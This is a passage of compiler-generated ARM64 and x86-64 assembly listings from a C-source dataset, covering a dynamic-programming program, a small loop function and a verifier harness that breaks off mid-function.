[x29, #-16] mov x9, x8 stur x9, [x29, #-80] ; 8-byte Folded Spill ldur w8, [x29, #-16] ; kill: def $x8 killed $w8 stur x8, [x29, #-96] ; 8-byte Folded Spill mul x9, x9, x8 lsl x9, x9, #3 add x9, x9, #15 and x9, x9, #0xfffffffffffffff0 stur x9, [x29, #-88] ; 8-byte Folded Spill adrp x16, ___chkstk_darwin@GOTPAGE ldr x16, [x16, ___chkstk_darwin@GOTPAGEOFF] blr x16 ldur x11, [x29, #-88] ; 8-byte Folded Reload ldur x9, [x29, #-80] ; 8-byte Folded Reload mov x10, sp subs x10, x10, x11 mov sp, x10 stur x10, [x29, #-72] ; 8-byte Folded Spill stur x9, [x29, #-56] stur x8, [x29, #-64] stur wzr, [x29, #-20] b LBB2_3 LBB2_3: ; Parent Loop BB2_1 Depth=1 ; => This Loop Header: Depth=2 ; Child Loop BB2_5 Depth 3 ldur w8, [x29, #-20] ldur w9, [x29, #-16] subs w8, w8, w9 cset w8, ge tbnz w8, #0, LBB2_10 b LBB2_4 LBB2_4: ; in Loop: Header=BB2_3 Depth=2 stur wzr, [x29, #-24] b LBB2_5 LBB2_5: ; Parent Loop BB2_1 Depth=1 ; Parent Loop BB2_3 Depth=2 ; => This Inner Loop Header: Depth=3 ldur w8, [x29, #-24] ldur w9, [x29, #-16] subs w8, w8, w9 cset w8, ge tbnz w8, #0, LBB2_8 b LBB2_6 LBB2_6: ; in Loop: Header=BB2_5 Depth=3 ldur x8, [x29, #-72] ; 8-byte Folded Reload ldur x10, [x29, #-96] ; 8-byte Folded Reload ldursw x9, [x29, #-20] mul x9, x9, x10 add x9, x8, x9, lsl #3 ldursw x10, [x29, #-24] mov x8, #-1 str x8, [x9, x10, lsl #3] b LBB2_7 LBB2_7: ; in Loop: Header=BB2_5 Depth=3 ldur w8, [x29, #-24] add w8, w8, #1 stur w8, [x29, #-24] b LBB2_5 LBB2_8: ; in Loop: Header=BB2_3 Depth=2 b LBB2_9 LBB2_9: ; in Loop: Header=BB2_3 Depth=2 ldur w8, [x29, #-20] add w8, w8, #1 stur w8, [x29, #-20] b LBB2_3 LBB2_10: ; in Loop: Header=BB2_1 Depth=1 stur wzr, [x29, #-20] b LBB2_11 LBB2_11: ; Parent Loop BB2_1 Depth=1 ; => This Inner Loop Header: Depth=2 ldur w8, [x29, #-20] ldur w9, [x29, #-16] subs w8, w8, w9 cset w8, ge tbnz w8, #0, LBB2_14 b LBB2_12 LBB2_12: ; in Loop: Header=BB2_11 Depth=2 ldur x8, [x29, #-120] ; 8-byte Folded Reload ldursw x9, [x29, #-20] add x8, x8, x9, lsl #2 sub sp, sp, #16 mov x9, sp str x8, [x9] adrp x0, l_.str@PAGE add x0, x0, l_.str@PAGEOFF bl _scanf add sp, sp, #16 b LBB2_13 LBB2_13: ; in Loop: Header=BB2_11 Depth=2 ldur w8, [x29, #-20] add w8, w8, #1 stur w8, [x29, #-20] b LBB2_11 LBB2_14: ; in Loop: Header=BB2_1 Depth=1 ldur x9, [x29, #-104] ; 8-byte Folded Reload ldur x8, [x29, #-120] ; 8-byte Folded Reload ldrsw x8, [x8] str x8, [x9] mov w8, #1 stur w8, [x29, #-20] b LBB2_15 LBB2_15: ; Parent Loop BB2_1 Depth=1 ; => This Inner Loop Header: Depth=2 ldur w8, [x29, #-20] ldur w9, [x29, #-16] subs w8, w8, w9 cset w8, ge tbnz w8, #0, LBB2_18 b LBB2_16 LBB2_16: ; in Loop: Header=BB2_15 Depth=2 ldur x9, [x29, #-104] ; 8-byte Folded Reload ldur x10, [x29, #-120] ; 8-byte Folded Reload ldur w8, [x29, #-20] subs w8, w8, #1 ldr x8, [x9, w8, sxtw #3] ldursw x11, [x29, #-20] ldrsw x10, [x10, x11, lsl #2] add x8, x8, x10 ldursw x10, [x29, #-20] str x8, [x9, x10, lsl #3] b LBB2_17 LBB2_17: ; in Loop: Header=BB2_15 Depth=2 ldur w8, [x29, #-20] add w8, w8, #1 stur w8, [x29, #-20] b LBB2_15 LBB2_18: ; in Loop: Header=BB2_1 Depth=1 ldur x5, [x29, #-104] ; 8-byte Folded Reload ldur x1, [x29, #-120] ; 8-byte Folded Reload ldur x8, [x29, #-72] ; 8-byte Folded Reload ldur x10, [x29, #-96] ; 8-byte Folded Reload ldur w0, [x29, #-16] mov x9, #0 mul x9, x9, x10 add x2, x8, x9, lsl #3 ldur w8, [x29, #-16] subs w4, w8, #1 mov w3, #0 bl _dp ldur w8, [x29, #-16] subs w8, w8, #1 cset w8, ne tbnz w8, #0, LBB2_20 b LBB2_19 LBB2_19: ; in Loop: Header=BB2_1 Depth=1 adrp x0, l_.str.1@PAGE add x0, x0, l_.str.1@PAGEOFF bl _printf b LBB2_21 LBB2_20: ; in Loop: Header=BB2_1 Depth=1 ldur x8, [x29, #-72] ; 8-byte Folded Reload ldur x10, [x29, #-96] ; 8-byte Folded Reload mov x9, #0 mul x9, x9, x10 add x8, x8, x9, lsl #3 ldur w9, [x29, #-16] subs w9, w9, #1 ldr x8, [x8, w9, sxtw #3] sub sp, sp, #16 mov x9, sp str x8, [x9] adrp x0, l_.str.2@PAGE add x0, x0, l_.str.2@PAGEOFF bl _printf add sp, sp, #16 b LBB2_21 LBB2_21: ; in Loop: Header=BB2_1 Depth=1 ldur x8, [x29, #-32] mov sp, x8 b LBB2_1 LBB2_22: ldur w8, [x29, #-12] stur w8, [x29, #-132] ; 4-byte Folded Spill ldur x9, [x29, #-8] adrp x8, ___stack_chk_guard@GOTPAGE ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF] ldr x8, [x8] subs x8, x8, x9 cset w8, eq tbnz w8, #0, LBB2_24 b LBB2_23 LBB2_23: bl ___stack_chk_fail LBB2_24: ldur w0, [x29, #-132] ; 4-byte Folded Reload mov sp, x29 ldp x29, x30, [sp], #16 ; 16-byte Folded Reload ret .cfi_endproc ; -- End function .section __TEXT,__cstring,cstring_literals l_.str: ; @.str .asciz "%d" l_.str.1: ; @.str.1 .asciz "0\n" l_.str.2: ; @.str.2 .asciz "%lld\n" .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _sum ## -- Begin function sum .p2align 4, 0x90 _sum: ## @sum .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp movl %edi, -12(%rbp) movq %rsi, -24(%rbp) movl %edx, -28(%rbp) movl %ecx, -32(%rbp) movq %r8, -40(%rbp) cmpl $0, -28(%rbp) jne LBB0_2 ## %bb.1: movq -40(%rbp), %rax movslq -32(%rbp), %rcx movq (%rax,%rcx,8), %rax movq %rax, -8(%rbp) jmp LBB0_3 LBB0_2: movq -40(%rbp), %rax movslq -32(%rbp), %rcx movq (%rax,%rcx,8), %rax movq -40(%rbp), %rcx movslq -28(%rbp), %rdx subq -8(%rcx,%rdx,8), %rax movq %rax, -8(%rbp) LBB0_3: movq -8(%rbp), %rax popq %rbp retq .cfi_endproc ## -- End function .globl _dp ## -- Begin function dp .p2align 4, 0x90 _dp: ## @dp .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp subq $128, %rsp movl %edi, -12(%rbp) movq %rsi, -24(%rbp) movq %rdx, -32(%rbp) movl %ecx, -36(%rbp) movl %r8d, -40(%rbp) movq %r9, -48(%rbp) movq -32(%rbp), %rax movl -12(%rbp), %ecx imull -36(%rbp), %ecx movslq %ecx, %rcx shlq $3, %rcx addq %rcx, %rax movslq -40(%rbp), %rcx cmpq $-1, (%rax,%rcx,8) je LBB1_2 ## %bb.1: movq -32(%rbp), %rax movl -12(%rbp), %ecx imull -36(%rbp), %ecx movslq %ecx, %rcx shlq $3, %rcx addq %rcx, %rax movslq -40(%rbp), %rcx movq (%rax,%rcx,8), %rax movq %rax, -8(%rbp) jmp LBB1_11 LBB1_2: movl -36(%rbp), %eax cmpl -40(%rbp), %eax jne LBB1_4 ## %bb.3: movq $0, -8(%rbp) jmp LBB1_11 LBB1_4: movabsq $1000000000000000000, %rax ## imm = 0xDE0B6B3A7640000 movq %rax, -56(%rbp) movl -36(%rbp), %eax movl %eax, -100(%rbp) LBB1_5: ## =>This Inner Loop Header: Depth=1 movl -100(%rbp), %eax cmpl -40(%rbp), %eax jge LBB1_10 ## %bb.6: ## in Loop: Header=BB1_5 Depth=1 movl -12(%rbp), %edi movq -24(%rbp), %rsi movq -32(%rbp), %rdx movl -36(%rbp), %ecx movl -100(%rbp), %r8d movq -48(%rbp), %r9 callq _dp movq %rax, -72(%rbp) movl -12(%rbp), %edi movq -24(%rbp), %rsi movq -32(%rbp), %rdx movl -100(%rbp), %ecx addl $1, %ecx movl -40(%rbp), %r8d movq -48(%rbp), %r9 callq _dp movq %rax, -80(%rbp) movl -12(%rbp), %edi movq -24(%rbp), %rsi movl -36(%rbp), %edx movl -100(%rbp), %ecx movq -48(%rbp), %r8 callq _sum movq %rax, -88(%rbp) movl -12(%rbp), %edi movq -24(%rbp), %rsi movl -100(%rbp), %edx addl $1, %edx movl -40(%rbp), %ecx movq -48(%rbp), %r8 callq _sum movq %rax, -96(%rbp) movq -72(%rbp), %rax addq -80(%rbp), %rax movq %rax, -120(%rbp) ## 8-byte Spill movq -88(%rbp), %rax movl $100, %ecx cqto idivq %rcx movq %rdx, -112(%rbp) ## 8-byte Spill movq -96(%rbp), %rax movl $100, %ecx cqto idivq %rcx movq -120(%rbp), %rax ## 8-byte Reload movq %rdx, %rcx movq -112(%rbp), %rdx ## 8-byte Reload imulq %rcx, %rdx addq %rdx, %rax movq %rax, -64(%rbp) movq -64(%rbp), %rax cmpq -56(%rbp), %rax jge LBB1_8 ## %bb.7: ## in Loop: Header=BB1_5 Depth=1 movq -64(%rbp), %rax movq %rax, -56(%rbp) LBB1_8: ## in Loop: Header=BB1_5 Depth=1 jmp LBB1_9 LBB1_9: ## in Loop: Header=BB1_5 Depth=1 movl -100(%rbp), %eax addl $1, %eax movl %eax, -100(%rbp) jmp LBB1_5 LBB1_10: movq -56(%rbp), %rdx movq -32(%rbp), %rax movl -12(%rbp), %ecx imull -36(%rbp), %ecx movslq %ecx, %rcx shlq $3, %rcx addq %rcx, %rax movslq -40(%rbp), %rcx movq %rdx, (%rax,%rcx,8) movq -56(%rbp), %rax movq %rax, -8(%rbp) LBB1_11: movq -8(%rbp), %rax addq $128, %rsp popq %rbp retq .cfi_endproc ## -- End function .globl _main ## -- Begin function main .p2align 4, 0x90 _main: ## @main .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp subq $128, %rsp movq ___stack_chk_guard@GOTPCREL(%rip), %rax movq (%rax), %rax movq %rax, -8(%rbp) movl $0, -12(%rbp) LBB2_1: ## =>This Loop Header: Depth=1 ## Child Loop BB2_3 Depth 2 ## Child Loop BB2_5 Depth 3 ## Child Loop BB2_11 Depth 2 ## Child Loop BB2_15 Depth 2 leaq L_.str(%rip), %rdi leaq -16(%rbp), %rsi movb $0, %al callq _scanf cmpl $-1, %eax je LBB2_22 ## %bb.2: ## in Loop: Header=BB2_1 Depth=1 movl -16(%rbp), %eax ## kill: def $rax killed $eax movq %rax, -120(%rbp) ## 8-byte Spill movq %rsp, %rcx movq %rcx, -32(%rbp) shlq $2, %rax callq ____chkstk_darwin addq $15, %rax andq $-16, %rax subq %rax, %rsp movq -120(%rbp), %rax ## 8-byte Reload movq %rsp, %rcx movq %rcx, -112(%rbp) ## 8-byte Spill movq %rax, -40(%rbp) movl -16(%rbp), %eax ## kill: def $rax killed $eax movq %rax, -104(%rbp) ## 8-byte Spill shlq $3, %rax callq ____chkstk_darwin addq $15, %rax andq $-16, %rax subq %rax, %rsp movq -104(%rbp), %rax ## 8-byte Reload movq %rsp, %rcx movq %rcx, -96(%rbp) ## 8-byte Spill movq %rax, -48(%rbp) movl -16(%rbp), %eax ## kill: def $rax killed $eax movq %rax, -88(%rbp) ## 8-byte Spill movq %rax, %rcx movq %rcx, -80(%rbp) ## 8-byte Spill imulq %rax, %rax shlq $3, %rax callq ____chkstk_darwin movq -88(%rbp), %rcx ## 8-byte Reload addq $15, %rax andq $-16, %rax subq %rax, %rsp movq -80(%rbp), %rax ## 8-byte Reload movq %rsp, %rdx movq %rdx, -72(%rbp) ## 8-byte Spill movq %rcx, -56(%rbp) movq %rax, -64(%rbp) movl $0, -20(%rbp) LBB2_3: ## Parent Loop BB2_1 Depth=1 ## => This Loop Header: Depth=2 ## Child Loop BB2_5 Depth 3 movl -20(%rbp), %eax cmpl -16(%rbp), %eax jge LBB2_10 ## %bb.4: ## in Loop: Header=BB2_3 Depth=2 movl $0, -24(%rbp) LBB2_5: ## Parent Loop BB2_1 Depth=1 ## Parent Loop BB2_3 Depth=2 ## => This Inner Loop Header: Depth=3 movl -24(%rbp), %eax cmpl -16(%rbp), %eax jge LBB2_8 ## %bb.6: ## in Loop: Header=BB2_5 Depth=3 movq -72(%rbp), %rax ## 8-byte Reload movq -80(%rbp), %rdx ## 8-byte Reload movslq -20(%rbp), %rcx imulq %rdx, %rcx shlq $3, %rcx addq %rcx, %rax movslq -24(%rbp), %rcx movq $-1, (%rax,%rcx,8) ## %bb.7: ## in Loop: Header=BB2_5 Depth=3 movl -24(%rbp), %eax addl $1, %eax movl %eax, -24(%rbp) jmp LBB2_5 LBB2_8: ## in Loop: Header=BB2_3 Depth=2 jmp LBB2_9 LBB2_9: ## in Loop: Header=BB2_3 Depth=2 movl -20(%rbp), %eax addl $1, %eax movl %eax, -20(%rbp) jmp LBB2_3 LBB2_10: ## in Loop: Header=BB2_1 Depth=1 movl $0, -20(%rbp) LBB2_11: ## Parent Loop BB2_1 Depth=1 ## => This Inner Loop Header: Depth=2 movl -20(%rbp), %eax cmpl -16(%rbp), %eax jge LBB2_14 ## %bb.12: ## in Loop: Header=BB2_11 Depth=2 movq -112(%rbp), %rsi ## 8-byte Reload movslq -20(%rbp), %rax shlq $2, %rax addq %rax, %rsi leaq L_.str(%rip), %rdi movb $0, %al callq _scanf ## %bb.13: ## in Loop: Header=BB2_11 Depth=2 movl -20(%rbp), %eax addl $1, %eax movl %eax, -20(%rbp) jmp LBB2_11 LBB2_14: ## in Loop: Header=BB2_1 Depth=1 movq -96(%rbp), %rax ## 8-byte Reload movq -112(%rbp), %rcx ## 8-byte Reload movslq (%rcx), %rcx movq %rcx, (%rax) movl $1, -20(%rbp) LBB2_15: ## Parent Loop BB2_1 Depth=1 ## => This Inner Loop Header: Depth=2 movl -20(%rbp), %eax cmpl -16(%rbp), %eax jge LBB2_18 ## %bb.16: ## in Loop: Header=BB2_15 Depth=2 movq -96(%rbp), %rax ## 8-byte Reload movq -112(%rbp), %rcx ## 8-byte Reload movl -20(%rbp), %edx subl $1, %edx movslq %edx, %rdx movq (%rax,%rdx,8), %rdx movslq -20(%rbp), %rsi movslq (%rcx,%rsi,4), %rcx addq %rcx, %rdx movslq -20(%rbp), %rcx movq %rdx, (%rax,%rcx,8) ## %bb.17: ## in Loop: Header=BB2_15 Depth=2 movl -20(%rbp), %eax addl $1, %eax movl %eax, -20(%rbp) jmp LBB2_15 LBB2_18: ## in Loop: Header=BB2_1 Depth=1 movq -96(%rbp), %r9 ## 8-byte Reload movq -112(%rbp), %rsi ## 8-byte Reload movq -72(%rbp), %rdx ## 8-byte Reload movq -80(%rbp), %rax ## 8-byte Reload movl -16(%rbp), %edi imulq $0, %rax, %rax shlq $3, %rax addq %rax, %rdx movl -16(%rbp), %r8d subl $1, %r8d xorl %ecx, %ecx callq _dp cmpl $1, -16(%rbp) jne LBB2_20 ## %bb.19: ## in Loop: Header=BB2_1 Depth=1 leaq L_.str.1(%rip), %rdi movb $0, %al callq _printf jmp LBB2_21 LBB2_20: ## in Loop: Header=BB2_1 Depth=1 movq -72(%rbp), %rax ## 8-byte Reload movq -80(%rbp), %rcx ## 8-byte Reload imulq $0, %rcx, %rcx shlq $3, %rcx addq %rcx, %rax movl -16(%rbp), %ecx subl $1, %ecx movslq %ecx, %rcx movq (%rax,%rcx,8), %rsi leaq L_.str.2(%rip), %rdi movb $0, %al callq _printf LBB2_21: ## in Loop: Header=BB2_1 Depth=1 movq -32(%rbp), %rax movq %rax, %rsp jmp LBB2_1 LBB2_22: movl -12(%rbp), %eax movl %eax, -124(%rbp) ## 4-byte Spill movq ___stack_chk_guard@GOTPCREL(%rip), %rax movq (%rax), %rax movq -8(%rbp), %rcx cmpq %rcx, %rax jne LBB2_24 ## %bb.23: movl -124(%rbp), %eax ## 4-byte Reload movq %rbp, %rsp popq %rbp retq LBB2_24: callq ___stack_chk_fail ud2 .cfi_endproc ## -- End function .section __TEXT,__cstring,cstring_literals L_.str: ## @.str .asciz "%d" L_.str.1: ## @.str.1 .asciz "0\n" L_.str.2: ## @.str.2 .asciz "%lld\n" .subsections_via_symbols
the_stack_data/40761871.c
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _meow ; -- Begin function meow .p2align 2 _meow: ; @meow .cfi_startproc ; %bb.0: sub sp, sp, #16 .cfi_def_cfa_offset 16 str wzr, [sp, #12] str wzr, [sp, #8] b LBB0_1 LBB0_1: ; =>This Inner Loop Header: Depth=1 ldr w8, [sp, #12] subs w8, w8, #10 cset w8, ge tbnz w8, #0, LBB0_5 b LBB0_2 LBB0_2: ; in Loop: Header=BB0_1 Depth=1 ldr w8, [sp, #8] ldr w9, [sp, #12] add w8, w8, w9 str w8, [sp, #8] ldr w8, [sp, #12] add w8, w8, #1 str w8, [sp, #12] ldr w8, [sp, #12] mov w10, #5 sdiv w9, w8, w10 mul w9, w9, w10 subs w8, w8, w9 subs w8, w8, #0 cset w8, ne tbnz w8, #0, LBB0_4 b LBB0_3 LBB0_3: b LBB0_5 LBB0_4: ; in Loop: Header=BB0_1 Depth=1 b LBB0_1 LBB0_5: ldr w8, [sp, #8] add w8, w8, #1 subs w8, w8, #2 subs w8, w8, #3 str w8, [sp, #8] ldr w0, [sp, #8] add sp, sp, #16 ret .cfi_endproc ; -- End function .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _meow ## -- Begin function meow .p2align 4, 0x90 _meow: ## @meow .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp movl $0, -4(%rbp) movl $0, -8(%rbp) LBB0_1: ## =>This Inner Loop Header: Depth=1 cmpl $10, -4(%rbp) jge LBB0_5 ## %bb.2: ## in Loop: Header=BB0_1 Depth=1 movl -8(%rbp), %eax addl -4(%rbp), %eax movl %eax, -8(%rbp) movl -4(%rbp), %eax addl $1, %eax movl %eax, -4(%rbp) movl -4(%rbp), %eax movl $5, %ecx cltd idivl %ecx cmpl $0, %edx jne LBB0_4 ## %bb.3: jmp LBB0_5 LBB0_4: ## in Loop: Header=BB0_1 Depth=1 jmp LBB0_1 LBB0_5: movl -8(%rbp), %eax addl $1, %eax subl $2, %eax subl $3, %eax movl %eax, -8(%rbp) movl -8(%rbp), %eax popq %rbp retq .cfi_endproc ## -- End function .subsections_via_symbols
the_stack_data/179831770.c
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl ___VERIFIER_nondet_bool ; -- Begin function __VERIFIER_nondet_bool .p2align 2 ___VERIFIER_nondet_bool: ; @__VERIFIER_nondet_bool .cfi_startproc ; %bb.0: stp x29, x30, [sp, #-16]! ; 16-byte Folded Spill .cfi_def_cfa_offset 16 mov x29, sp .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 bl ___VERIFIER_nondet_int subs w8, w0, #0 cset w8, ne and w0, w8, #0x1 ldp x29, x30, [sp], #16 ; 16-byte Folded Reload ret .cfi_endproc ; -- End function .globl _main ; -- Begin function main .p2align 2 _main: ; @main .cfi_startproc ; %bb.0: sub sp, sp, #176 .cfi_def_cfa_offset 176 stp x29, x30, [sp, #160] ; 16-byte Folded Spill add x29, sp, #160 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 stur wzr, [x29, #-4] bl ___VERIFIER_nondet_int str w0, [sp, #40] bl ___VERIFIER_nondet_float stur s0, [x29, #-8] bl ___VERIFIER_nondet_float stur s0, [x29, #-16] bl ___VERIFIER_nondet_bool stur w0, [x29, #-24] bl ___VERIFIER_nondet_float stur s0, [x29, #-32] bl ___VERIFIER_nondet_bool stur w0, [x29, #-40] bl ___VERIFIER_nondet_float stur s0, [x29, #-48] bl ___VERIFIER_nondet_float stur s0, [x29, #-56] bl ___VERIFIER_nondet_float stur s0, [x29, #-64] bl ___VERIFIER_nondet_float stur s0, [x29, #-72] bl ___VERIFIER_nondet_float str s0, [sp, #80] bl ___VERIFIER_nondet_float str s0, [sp, #72] bl ___VERIFIER_nondet_float str s0, [sp, #64] bl ___VERIFIER_nondet_float str s0, [sp, #56] bl ___VERIFIER_nondet_float str s0, [sp, #48] ldur s0, [x29, #-56] fcvt d2, s0 ldur s0, [x29, #-32] fcvt d1, s0 fmov d0, #-1.00000000 fmadd d1, d0, d1, d2 fmov d0, #12.00000000 fcmp d0, d1 cset w8, ls mov w9, #1 str w9, [sp, #32] ; 4-byte Folded Spill tbnz w8, #0, LBB1_2 b LBB1_1 LBB1_1: ldur w8, [x29, #-24] subs w8, w8, #0 cset w8, ne str w8, [sp, #32] ; 4-byte Folded Spill b LBB1_2 LBB1_2: ldr w8, [sp, #32] ; 4-byte Folded Reload eor w8, w8, #0x1 and w8, w8, #0x1 str w8, [sp, #36] b LBB1_3 LBB1_3: ; =>This Inner Loop Header: Depth=1 ldr w8, [sp, #40] subs w8, w8, #0 cset w8, lt mov w9, #0 str w9, [sp, #28] ; 4-byte Folded Spill tbnz w8, #0, LBB1_5 b LBB1_4 LBB1_4: ; in Loop: Header=BB1_3 Depth=1 ldr w8, [sp, #36] subs w8, w8, #0 cset w8, ne str w8, [sp, #28] ; 4-byte Folded Spill b LBB1_5 LBB1_5: ; in Loop: Header=BB1_3 Depth=1 ldr w8, [sp, #28] ; 4-byte Folded Reload tbz w8, #0, LBB1_163 b LBB1_6 LBB1_6: ; in Loop: Header=BB1_3 Depth=1 ldr s0, [sp, #80] fcvt d2, s0 ldr s0, [sp, #64] fcvt d1, s0 fmov d0, #-1.00000000 fmadd d0, d0, d1, d2 fmov d1, #-11.00000000 fcmp d0, d1 cset w8, hi tbnz w8, #0, LBB1_9 b LBB1_7 LBB1_7: ; in Loop: Header=BB1_3 Depth=1 ldr s0, [sp, #80] fcvt d2, s0 ldr s0, [sp, #64] fcvt d1, s0 fmov d0, #-1.00000000 fmadd d0, d0, d1, d2 fmov d1, #-11.00000000 fcmp d0, d1 cset w8, hi tbnz w8, #0, LBB1_10 b LBB1_8 LBB1_8: ; in Loop: Header=BB1_3 Depth=1 ldur w8, [x29, #-40] subs w8, w8, #0 cset w8, ne tbnz w8, #0, LBB1_10 b LBB1_9 LBB1_9: ; in Loop: Header=BB1_3 Depth=1 bl ___VERIFIER_nondet_int str w0, [sp, #40] b LBB1_11 LBB1_10: ; in Loop: Header=BB1_3 Depth=1 ldr w8, [sp, #40] subs w8, w8, #1 str w8, [sp, #40] b LBB1_11 LBB1_11: ; in Loop: Header=BB1_3 Depth=1 bl ___VERIFIER_nondet_float stur s0, [x29, #-12] bl ___VERIFIER_nondet_float stur s0, [x29, #-20] bl ___VERIFIER_nondet_bool stur w0, [x29, #-28] bl ___VERIFIER_nondet_float stur s0, [x29, #-36] bl ___VERIFIER_nondet_bool stur w0, [x29, #-44] bl ___VERIFIER_nondet_float stur s0, [x29, #-52] bl ___VERIFIER_nondet_float stur s0, [x29, #-60] bl ___VERIFIER_nondet_float stur s0, [x29, #-68] bl ___VERIFIER_nondet_float stur s0, [x29, #-76] bl ___VERIFIER_nondet_float str s0, [sp, #76] bl ___VERIFIER_nondet_float str s0, [sp, #68] bl ___VERIFIER_nondet_float str s0, [sp, #60] bl ___VERIFIER_nondet_float str s0, [sp, #52] bl ___VERIFIER_nondet_float str s0, [sp, #44] ldur s0, [x29, #-32] fcvt d2, s0 ldur s0, [x29, #-68] fcvt d1, s0 fmov d0, #-1.00000000 fmadd d0, d0, d1, d2 fmov d1, #-14.00000000 fcmp d0, d1 cset w8, hi mov w9, #0 str w9, [sp, #24] ; 4-byte Folded Spill tbnz w8, #0, LBB1_162 b LBB1_12 LBB1_12: ; in Loop: Header=BB1_3 Depth=1 ldur s0, [x29, #-72] fcvt d2, s0 ldur s0, [x29, #-68] fcvt d1, s0 fmov d0, #-1.00000000 fmadd d0, d0, d1, d2 fmov d1, #-6.00000000 fcmp d0, d1 cset w8, hi mov w9, #0 str w9, [sp, #24] ; 4-byte Folded Spill tbnz w8, #0, LBB1_162 b LBB1_13 LBB1_13: ; in Loop: Header=BB1_3 Depth=1 ldr s0, [sp, #72] fcvt d2, s0 ldur s0, [x29, #-68] fcvt d1, s0 fmov d0, #-1.00000000 fmadd d0, d0, d1, d2 fmov d1, #-17.00000000 fcmp d0, d1 cset w8, hi mov w9, #0 str w9, [sp, #24] ; 4-byte Folded Spill tbnz w8, #0, LBB1_162 b LBB1_14 LBB1_14: ; in Loop: Header=BB1_3 Depth=1 ldr s0, [sp, #80] fcvt d2, s0 ldur s0, [x29, #-68] fcvt d1, s0 fmov d0, #-1.00000000 fmadd d0, d0, d1, d2 fmov d1, #-8.00000000 fcmp d0, d1 cset w8, hi mov w9, #0 str w9, [sp, #24] ; 4-byte Folded Spill tbnz w8, #0, LBB1_162 b LBB1_15 LBB1_15: ; in Loop: Header=BB1_3 Depth=1 ldur s0, [x29, #-64] fcvt d2, s0 ldur s0, [x29, #-68] fcvt d1, s0 fmov d0, #-1.00000000 fmadd d0, d0, d1, d2 fmov d1, #-15.00000000 fcmp d0, d1 cset w8, hi mov w9, #0 str w9, [sp, #24] ; 4-byte Folded Spill tbnz w8, #0, LBB1_162 b LBB1_16 LBB1_16: ; in Loop: Header=BB1_3 Depth=1 ldur s0, [x29, #-8] fcvt d2, s0 ldur s0, [x29, #-68] fcvt d1, s0 fmov d0, #-1.00000000 fmadd d0, d0, d1, d2 fmov d1, #-16.00000000 fcmp d0, d1 cset w8, hi mov w9, #0 str w9, [sp, #24] ; 4-byte Folded Spill tbnz w8, #0, LBB1_162 b LBB1_17 LBB1_17: ; in Loop: Header=BB1_3 Depth=1 ldur s0, [x29, #-32] fcvt d2, s0 ldur s0, [x29, #-68] fcvt d1, s0 fmov d0, #-1.00000000 fmadd d0, d0, d1, d2 fmov d1, #-14.00000000 fcmp d0, d1 cset w8, eq tbnz w8, #0, LBB1_23 b LBB1_18 LBB1_18: ; in Loop: Header=BB1_3 Depth=1 ldur s0, [x29, #-72] fcvt d2, s0 ldur s0, [x29, #-68] fcvt d1, s0 fmov d0, #-1.00000000 fmadd d0, d0, d1, d2 fmov d1, #-6.00000000 fcmp d0, d1 cset w8, eq tbnz w8, #0, LBB1_23 b LBB1_19 LBB1_19: ; in Loop: Header=BB1_3 Depth=1 ldr s0, [sp, #72] fcvt d2, s0 ldur s0, [x29, #-68] fcvt d1, s0 fmov d0, #-1.00000000 fmadd d0, d0, d1, d2 fmov d1, #-17.00000000 fcmp d0, d1 cset w8, eq tbnz w8, #0, LBB1_23 b LBB1_20 LBB1_20: ; in Loop: Header=BB1_3 Depth=1 ldr s0, [sp, #80] fcvt d2, s0 ldur s0, [x29, #-68] fcvt d1, s0 fmov d0, #-1.00000000 fmadd d0, d0, d1, d2 fmov d1, #-8.00000000 fcmp d0, d1 cset w8, eq tbnz w8, #0, LBB1_23 b LBB1_21 LBB1_21: ; in Loop: Header=BB1_3 Depth=1 ldur s0, [x29, #-64] fcvt d2, s0 ldur s0, [x29, #-68] fcvt d1, s0 fmov d0, #-1.00000000 fmadd d0, d0, d1, d2 fmov d1, #-15.00000000 fcmp d0, d1 cset w8, eq tbnz w8, #0, LBB1_23 b LBB1_22 LBB1_22: ; in Loop: Header=BB1_3 Depth=1 ldur s0, [x29, #-8] fcvt d2, s0 ldur s0, [x29, #-68] fcvt d1, s0 fmov d0, #-1.00000000 fmadd d0, d0, d1, d2 fmov d1, #-16.00000000 fcmp d0, d1 cset w8, ne mov w9, #0 str w9, [sp, #24] ; 4-byte Folded Spill tbnz w8, #0, LBB1_162 b LBB1_23 LBB1_23: ; in Loop: Header=BB1_3 Depth=1 ldur s0, [x29, #-32] fcvt d2, s0 ldr s0, [sp, #52] fcvt d1, s0 fmov d0, #-1.00000000 fmadd d0, d0, d1, d2 fmov d1, #-15.00000000 fcmp d0, d1 cset w8, hi mov w9, #0 str w9, [sp, #24] ; 4-byte Folded Spill tbnz w8, #0, LBB1_162 b LBB1_24 LBB1_24: ; in Loop: Header=BB1_3 Depth=1 ldur s0, [x29, #-72] fcvt d2, s0 ldr s0, [sp, #52] fcvt d1, s0 fmov d0, #-1.00000000 fmadd d0, d0, d1, d2 fmov d1, #-3.00000000 fcmp d0, d1 cset w8, hi mov w9, #0 str w9, [sp, #24] ; 4-byte Folded Spill tbnz w8, #0, LBB1_162 b LBB1_25 LBB1_25: ; in Loop: Header=BB1_3 Depth=1 ldur s0, [x29, #-48] fcvt d2, s0 ldr s0, [sp, #52] fcvt d0, s0 fmov d1, #-1.00000000 fmadd d0, d1, d0, d2 fcmp d0, d1 cset w8, hi mov w9, #0 str w9, [sp, #24] ; 4-byte Folded Spill tbnz w8, #0, LBB1_162 b LBB1_26 LBB1_26: ; in Loop: Header=BB1_3 